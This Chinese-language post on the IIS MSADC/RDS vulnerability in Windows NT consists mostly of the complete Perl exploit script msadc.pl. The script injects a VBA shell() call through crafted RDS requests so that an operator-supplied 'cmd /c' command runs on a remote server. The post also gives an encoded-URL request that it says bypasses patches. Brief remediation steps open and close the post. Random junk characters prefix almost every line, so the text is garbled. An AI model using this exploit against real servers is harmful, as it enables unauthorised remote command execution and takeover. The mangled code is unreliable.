IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Qtv&ijFC H6 HVu | 涉及程序：
@ eIJ]p Microsoft NT server
r/6o \- ILShd)]Rw 描述：
6wECo 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
+8Ymw:D7a d8=x0~7 详细：
8::$AQL3 如果你没有时间读详细内容的话，就删除:
/?F/9hL c:\Program Files\Common Files\System\Msadc\msadcs.dll
(tw)nF 有关的安全问题就没有了。
&/]Fc{]^$f :; fHDU| 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
q6 `b26 mah JSz(3 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
YRN06*hS 关于利用ODBC远程漏洞的描述，请参看:
v+#}rUTF 7f!YoW;1 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^mO~ W!" |My4SoO F 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
\k!{uRy' http://www.microsoft.com/security/bulletins/MS99-025faq.asp !SdSE^lz` E+g@ M8D 这里不再论述。
n!xt5=x P{ /Uy"M:|V1 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
9}F*P669f Vi]W |bP /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
kbMWGB%; 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
bU:EqW\( ^ -^h' >. fnX`Q[b4\A #将下面这段保存为txt文件，然后: "perl -x 文件名"
T1 Z;r*} v~V!ayn)wQ #!perl
.|b $NM #
*>2W#D)b= # MSADC/RDS 'usage' (aka exploit) script
"x*e gI #
!()$8 # by rain.forest.puppy
wL
4dTc #
_zn.K&I-*k # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
jiS_G%G # beta test and find errors!
fc-iAj %Iv,@}kvT+ use Socket; use Getopt::Std;
S:oi< F getopts("e:vd:h:XR", \%args);
,J^b0@S "h a L print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
dj7hx "BI yvH A7eq*" if (!defined $args{h} && !defined $args{R}) {
lc,tVe_ print qq~
J1I ;Jgql( Usage: msadc.pl -h <host> { -d <delay> -X -v }
ERE)A-8 -h <host> = host you want to scan (ip or domain)
X"e5 Y!:M- -d <seconds> = delay between calls, default 1 second
dP<=BcH>f -X = dump Index Server path table, if available
s ;oQS5Y -v = verbose
( b~T]3Es -e = external dictionary file for step 5
6ZG+ZHUC& [] `&vWZ Or a -R will resume a command session
_'>oXQJ h
WtVWVNL ~; exit;}
2Z Mb<b4H e .2 ib?8 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
6dN7_v) if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
T| V:$D' if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
'\ey<}?5V if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
A1 D^a, $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
9m<jcxla$ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
PHXZ= A+ 4@n1 Uk if (!defined $args{R}){ $ret = &has_msadc;
`c5"d die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
:'3XAntZA X=!^] 3zH print "Please type the NT commandline you want to run (cmd /c assumed):\n"
G{ sOR . "cmd /c ";
v ss(twg $in=<STDIN>; chomp $in;
: $Y9jR $command="cmd /c " . $in ;
m)v"3ib Nj
xo TLI if (defined $args{R}) {&load; exit;}
Ba*,-i3ZK )ufg9"\ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
lu uX2Mx>o &try_btcustmr;
%g$V\zmU /VS [pXXT| print "\nStep 2: Trying to make our own DSN...";
m~P CB_ifW &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
(-xS?8x$ NI#:|}CYS print "\nStep 3: Trying known DSNs...";
QnXA*6DJ &known_dsn;
G!W[8UG =K{ "{5Wb print "\nStep 4: Trying known .mdbs...";
Wm"4Ae:B &known_mdb;
+ SFVv_n gp^ 5# if (defined $args{e}){
d + / &?3 print "\nStep 5: Trying dictionary of DSN names...";
C8 e
!H &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
9S7 kUl{ K[Kh&` T print "Sorry Charley...maybe next time?\n";
&7b|4a8B% exit;
Xg
SxN! I !\i\}feb ##############################################################################
{7;8#.S72 hMUs"
<. sub sendraw { # ripped and modded from whisker
GCX G/k?w: sleep($delay); # it's a DoS on the server! At least on mine...
E4W -hq~ my ($pstr)=@_;
8a="/J socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
XKttZOiGT die("Socket problems\n");
OK6] e3UO if(connect(S,pack "SnA4x8",2,80,$target)){
#PanfYR select(S); $|=1;
e8]\U/ print $pstr; my @in=<S>;
8V)^R(\; select(STDOUT); close(S);
RGg (%. return @in;
S\5bmvqP" } else { die("Can't connect...\n"); }}
B}?5]N==] (
Qcp {q ##############################################################################
~ !
3I2 `m?c; ,\ sub make_header { # make the HTTP request
qT"Q1xU[ my $msadc=<<EOT
Bck7\ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
| 8=nL$u User-Agent: ACTIVEDATA
, :`4% Host: $ip
a1.Ptf eW| Content-Length: $clen
_$f9]bab Connection: Keep-Alive
]*FVz$>XM U,gti,IX^ ADCClientVersion:01.06
P h}|dGb Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
YZ7|K< 8`
@G; o --!ADM!ROX!YOUR!WORLD!
W4e5Rb4~f" Content-Type: application/x-varg
!n$tr Content-Length: $reqlen
Av SM ^ .J.-Mm` . EOT
Zh*u(rO ; $msadc=~s/\n/\r\n/g;
Z@&D ki return $msadc;}
1_
C] *p %1O [i4s:- ##############################################################################
9 h%?QC (+u39NQV sub make_req { # make the RDS request
a,+@|TJ,i my ($switch, $p1, $p2)=@_;
r'uGWW"w my $req=""; my $t1, $t2, $query, $dsn;
y^Kph# F" IS[thb zkZ if ($switch==1){ # this is the btcustmr.mdb query
./D$dbu3 $query="Select * from Customers where City=" . make_shell();
IlE_@gS8 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
O :"*q&;J $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
=gvBz | + (85Fv& a elsif ($switch==2){ # this is general make table query
IWveW8qJ $query="create table AZZ (B int, C varchar(10))";
.YnFH$;$ $dsn="$p1";}
:.d:9Z|_ 13%t"-@bh elsif ($switch==3){ # this is general exploit table query
^;maotHn $query="select * from AZZ where C=" . make_shell();
J.dLPKU;- $dsn="$p1";}
t|!j2<e z=_Ef3`M elsif ($switch==4){ # attempt to hork file info from index server
S:q3QgU=X $query="select path from scope()";
.G(llA} $dsn="Provider=MSIDXS;";}
f0<%&2ym @qjf ZH@ elsif ($switch==5){ # bad query
;9l y'<up $query="select";
nJ"YIT1K]p $dsn="$p1";}
s^|.Zr;,> ^Q ps> A( $t1= make_unicode($query);
Cc<,z*T $t2= make_unicode($dsn);
d,tU#N{Q6 $req = "\x02\x00\x03\x00";
]f: v,a $req.= "\x08\x00" . pack ("S1", length($t1));
TsUOpEuX $req.= "\x00\x00" . $t1 ;
-zO2|@S , $req.= "\x08\x00" . pack ("S1", length($t2));
{^rs #, W $req.= "\x00\x00" . $t2 ;
k`9)=&zX+ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
g'u?Rn 7*J return $req;}
<[J[idY1he pM&YXb? ##############################################################################
V8wKAj
Ux B Ma)O sub make_shell { # this makes the shell() statement
@81Vc<dJ return "'|shell(\"$command\")|'";}
> 'xGp7}y p=B >~CH ##############################################################################
@]c(V%x hj$ e|arB sub make_unicode { # quick little function to convert to unicode
`^Eae my ($in)=@_; my $out;
N2$I}q% for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
E)-r+ <l return $out;}
}KK Y6D|d> X3:XTuV ##############################################################################
2gjGeM z rv#Xa!O\ sub rdo_success { # checks for RDO return success (this is kludge)
Gqcz< =/ my (@in) = @_; my $base=content_start(@in);
L9a p( if($in[$base]=~/multipart\/mixed/){
zT|)uP* return 1 if( $in[$base+10]=~/^\x09\x00/ );}
7 Irau_ return 0;}
o/
mF # :BukUket1e ##############################################################################
9lj!C ' `)h6j)xiQ sub make_dsn { # this makes a DSN for us
J~ iBB~x. my @drives=("c","d","e","f");
p!V>XY'N^ print "\nMaking DSN: ";
qG/fE'(j& foreach $drive (@drives) {
?$Wn!"EC8 print "$drive: ";
CGP3qHrXt my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Bo+DJ izu "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
a7/-wk . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
,j ',x\ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
"ZHtR/; return 0 if $2 eq "404"; # not found/doesn't exist
\[>9UC% if($2 eq "200") {
%|l8f>3[ foreach $line (@results) {
bo=ZM9 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
!.<T"8BUpv } return 0;}
H,<7G;FPT mNAY%Wn6k ##############################################################################
9
ASb>A2~ #4h+ j%y[H sub verify_exists {
p|/j4@-h my ($page)=@_;
[;oCYb$9 my @results=sendraw("GET $page HTTP/1.0\n\n");
,chf~-d return $results[0];}
Tv]<SI<B[ LaIJ1jf ##############################################################################
3q:{1rc o{kbc5_ sub try_btcustmr {
HygY>s+3[
my @drives=("c","d","e","f");
5Wj;
[2
) my @dirs=("winnt","winnt35","winnt351","win","windows");
%T=A{<[` zT* .jv foreach $dir (@dirs) {
\#x}q'BC4 print "$dir -> "; # fun status so you can see progress
V*$L;xbC| foreach $drive (@drives) {
9>#: /g/ print "$drive: "; # ditto
rf 9 _eP $reqlen=length( make_req(1,$drive,$dir) ) - 28;
^D_/=4rz8 $reqlenlen=length( "$reqlen" );
*Sf -; U $clen= 206 + $reqlenlen + $reqlen;
&>jAe_{", QIn/,Yd my @results=sendraw(make_header() . make_req(1,$drive,$dir));
(5Tvsw` if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
}^K/?dM else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
+1Ph<zq" Lx U= {Y0 ##############################################################################
5[9 bWB{ Y ?r
po sub odbc_error {
v)kEyX'K2d my (@in)=@_; my $base;
OAZ#|U my $base = content_start(@in);
'69ZdP/xX if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
k)FmDX $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
kF V7l $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
LDy<k=;o $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6`"M return $in[$base+4].$in[$base+5].$in[$base+6];}
SnTDLa print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Qc{RaMwD print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
+ f;CyMEp $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
kao}(?x% +>g`m)?p ##############################################################################
=K X<_ ;E Ei @M$Fd sub verbose {
I5);jgb my ($in)=@_;
m >e3vu return if !$verbose;
dYojm1 MQ print STDOUT "\n$in\n";}
* NSlo^R-[ pY^9l3y^ ##############################################################################
c| '
w }GnwY97 sub save {
:H[\;Z1_ my ($p1, $p2, $p3, $p4)=@_;
f.pkQe( open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Q\J,}1<`6 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
}yEoEI` close OUT;}
9<]a!:!^ :Px\ qh}K ##############################################################################
oeL5}U6>g S HqyvF sub load {
6=PiVwI my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
4DO/rtkVq open(IN,"<rds.save") || die("Couldn't open rds.save\n");
&,-p',\- @p=<IN>; close(IN);
#G,XDW2"w $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
EkKnUD $target= inet_aton($ip) || die("inet_aton problems");
_#qe# print "Resuming to $ip ...";
I(n* _bFq $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
S Lk2X;c]o if($p[1]==1) {
)3z]f2 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
qM S}t3X $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
_b4fS'[ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
~j @UlP if (rdo_success(@results)){print "Success!\n";}
<-jGqUN_I else { print "failed\n"; verbose(odbc_error(@results));}}
fjDpwb:x) elsif ($p[1]==3){
oBlzHBn>0 if(run_query("$p[3]")){
8!h'j print "Success!\n";} else { print "failed\n"; }}
R/<=mZ elsif ($p[1]==4){
*"G 8 if(run_query($drvst . "$p[3]")){
JAn 1{<Ky print "Success!\n"; } else { print "failed\n"; }}
2n eRJ exit;}
]?9[l76O7 %XXkVK` ##############################################################################
f@:CyB GQ iIU(
C.I sub create_table {
>4![& & my ($in)=@_;
> 3 Ko.3& $reqlen=length( make_req(2,$in,"") ) - 28;
n'64;J5 $reqlenlen=length( "$reqlen" );
Q59/ex $clen= 206 + $reqlenlen + $reqlen;
Bx X$5 u my @results=sendraw(make_header() . make_req(2,$in,""));
hZNEv| return 1 if rdo_success(@results);
)hL^+Nn bR my $temp= odbc_error(@results); verbose($temp);
!J.rM5K return 1 if $temp=~/Table 'AZZ' already exists/;
5 u rE return 0;}
Y%v P#>h ix Ow=!@ ##############################################################################
WhU a^ ^)cM&Bx t% sub known_dsn {
=
?N^>zie # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
GMFc K= my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
~440# kj< "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
u"F;OT\>g "banner", "banners", "ads", "ADCDemo", "ADCTest");
Io+IRK REx[`x,GUh foreach $dSn (@dsns) {
K
M]Wl_z print ".";
L^KdMMz; next if (!is_access("DSN=$dSn"));
$k(9 U\y- if(create_table("DSN=$dSn")){
o#d$[oa print "$dSn successful\n";
8)Tj
H' if(run_query("DSN=$dSn")){
1e$[p[ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
mvf
_@2^ print "Something's borked. Use verbose next time\n";}}} print "\n";}
hrlCKL& O~Uw&Bq ##############################################################################
VA]ZR+m @bQ!zCI sub is_access {
k`IrZ HMw my ($in)=@_;
9c5!\m1 $reqlen=length( make_req(5,$in,"") ) - 28;
oBUh]sR{. $reqlenlen=length( "$reqlen" );
d x359 $clen= 206 + $reqlenlen + $reqlen;
x9*ys;~w my @results=sendraw(make_header() . make_req(5,$in,""));
Rc7.M"wzjX my $temp= odbc_error(@results);
mahi7eU
P verbose($temp); return 1 if ($temp=~/Microsoft Access/);
m0iV m| return 0;}
vXPuyR<J F> Mr<k=@; ##############################################################################
U~g@Tf U; EC dfLn *c sub run_query {
QBj Y&(vY my ($in)=@_;
>DmRP7v
$reqlen=length( make_req(3,$in,"") ) - 28;
chwh0J; $reqlenlen=length( "$reqlen" );
vadM1c* z $clen= 206 + $reqlenlen + $reqlen;
&kq7g Cd my @results=sendraw(make_header() . make_req(3,$in,""));
j[T%'% return 1 if rdo_success(@results);
uf0^E3H my $temp= odbc_error(@results); verbose($temp);
V9$-twhu return 0;}
.5k^f5a M7H~;S\3IM ##############################################################################
xucIjPi] 7+] F^
6 sub known_mdb {
B=x~L my @drives=("c","d","e","f","g");
T.euoFU{Z my @dirs=("winnt","winnt35","winnt351","win","windows");
uk{J @&F my $dir, $drive, $mdb;
G +Ei#:W, my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
;G $)MS'nB 9l=F v6 # this is sparse, because I don't know of many
gx&7 3f<J my @sysmdbs=( "\\catroot\\icatalog.mdb",
#y`k$20" "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
e6es0D[>5 "\\system32\\certmdb.mdb",
L (Rorf~V "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
~g96o81V j) <[j&OWw my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
1(F'~i|5 "\\cfusion\\cfapps\\forums\\forums_.mdb",
NFM-)Z57 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
h &'J+b "\\cfusion\\cfapps\\security\\realm_.mdb",
|=Opz Cs "\\cfusion\\cfapps\\security\\data\\realm.mdb",
][ N) 2_^M "\\cfusion\\database\\cfexamples.mdb",
/op/g]O} "\\cfusion\\database\\cfsnippets.mdb",
RQJ9MG w "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
$@4e(Zrmo "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
l 2M/ ,@G "\\cfusion\\brighttiger\\database\\cleam.mdb",
!Ba3` B5l "\\cfusion\\database\\smpolicy.mdb",
].c@Gm_( "\\cfusion\\database\cypress.mdb",
~ )!VV) "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
-&~IOqlu i "\\website\\cgi-win\\dbsample.mdb",
I]UA 0[8X "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
mc56L[ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Suj}MEiv ); #these are just
u;{T2T
foreach $drive (@drives) {
z+2u- jG foreach $dir (@dirs){
5lG|A6+w{ foreach $mdb (@sysmdbs) {
J4&XPr9 print ".";
t"#lnG!G if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
i!ds {`d print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
z'v 9j_\ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
pJ$(ozV print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
A< 1l^%i } else { print "Something's borked. Use verbose next time\n"; }}}}}
FL~9< / !}C4{Bgt* foreach $drive (@drives) {
_fe0, foreach $mdb (@mdbs) {
CYMM*4# print ".";
I[a%a!QO if(create_table($drv . $drive . $dir . $mdb)){
%G^(T%q| m print "\n" . $drive . $dir . $mdb . " successful\n";
4I+. ^7d if(run_query($drv . $drive . $dir . $mdb)){
sF,
uIr/ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Xd5!
Ti} } else { print "Something's borked. Use verbose next time\n"; }}}}
&?fvt
}
c[6 zX#{` =NI.d>kvC ##############################################################################
E{?L= ^cU S So~.)J sub hork_idx {
@b>YkJDk print "\nAttempting to dump Index Server tables...\n";
q 8tP29 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
{!>E9Px $reqlen=length( make_req(4,"","") ) - 28;
=54Vs8. $reqlenlen=length( "$reqlen" );
)OS>9
kFH $clen= 206 + $reqlenlen + $reqlen;
C!oksI my @results=sendraw2(make_header() . make_req(4,"",""));
Rb yF#[} if (rdo_success(@results)){
Ig='a"% my $max=@results; my $c; my %d;
hu`L v for($c=19; $c<$max; $c++){
CD$u=E
] $results[$c]=~s/\x00//g;
/7S -|%1 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
h7)VJY $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
6Eij>{v $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
FDZeIj9uF $d{"$1$2"}="";}
-+`az)lrp foreach $c (keys %d){ print "$c\n"; }
9 #.<E5: } else {print "Index server doesn't seem to be installed.\n"; }}
|A2 W8b
{] @DUN;L 4 ##############################################################################
2"B }} LJ:mJ# sub dsn_dict {
7v.#o4nPK open(IN, "<$args{e}") || die("Can't open external dictionary\n");
D6"~fjHh while(<IN>){
[+Yl;3 &] $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
:K!GR next if (!is_access("DSN=$dSn"));
(0Zrfu^ if(create_table("DSN=$dSn")){
`,hW;p> - print "$dSn successful\n";
5 >0\e_V if(run_query("DSN=$dSn")){
0]/,m4a#n print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
gizmJ:< print "Something's borked. Use verbose next time\n";}}}
&T5f H!?4 print "\n"; close(IN);}
[ ]s B^UT s ,{ RP0| ##############################################################################
Y8{T.\%\+ _m) gO/02A sub sendraw2 { # ripped and modded from whisker
h0&>GY;i sleep($delay); # it's a DoS on the server! At least on mine...
I%.jc2kK my ($pstr)=@_;
&
bp#1KR) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
r|u6O F> die("Socket problems\n");
A}
x_zt if(connect(S,pack "SnA4x8",2,80,$target)){
|8&\N print "Connected. Getting data";
>F_qa=t%[ open(OUT,">raw.out"); my @in;
g>d7%FFn} select(S); $|=1; print $pstr;
1oX z[ V while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
YqK+F =0 close(OUT); select(STDOUT); close(S); return @in;
'Y~8_+J? } else { die("Can't connect...\n"); }}
JMl , N %5( EkP ##############################################################################
.Bm ^3A #VP-T; Ahe sub content_start { # this will take in the server headers
35-DnTv my (@in)=@_; my $c;
H-nFsJ(R!c for ($c=1;$c<500;$c++) {
EN5G:hD if($in[$c] =~/^\x0d\x0a/){
7TMDZ* if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
"\wDS2M) else { return $c+1; }}}
'b?#4rq} return -1;} # it should never get here actually
%Q>~7P Q>06dO~z8 ##############################################################################
JI{O Gr E.En$'BvB sub funky {
Q 37V! my (@in)=@_; my $error=odbc_error(@in);
]x5(bnW x if($error=~/ADO could not find the specified provider/){
G gZEg
?@ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
cQUH %7m exit;}
QiQ2XW\E if($error=~/A Handler is required/){
oX=*MEfX print "\nServer has custom handler filters (they most likely are patched)\n";
v#T?YK exit;}
c1Fr u if($error=~/specified Handler has denied Access/){
)l 4>=y print "\nServer has custom handler filters (they most likely are patched)\n";
!=k* hl0h exit;}}
] k3GF Pw 6KZ8 .m}: ##############################################################################
`W.vW8 !# _7t|0aNo\ sub has_msadc {
3. GdKP.% my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
`% #zMS my $base=content_start(@results);
g z)wUQ|W return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
CIxVR return 0;}
DLg `Q0`M5 Ot4 ; ,UZ ########################
uHujw.H/y y5Z<uwXc wj";h Aw 解决方案：
_dJVnC1 ! 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
K"t:B 2、移除web 目录: /msadc
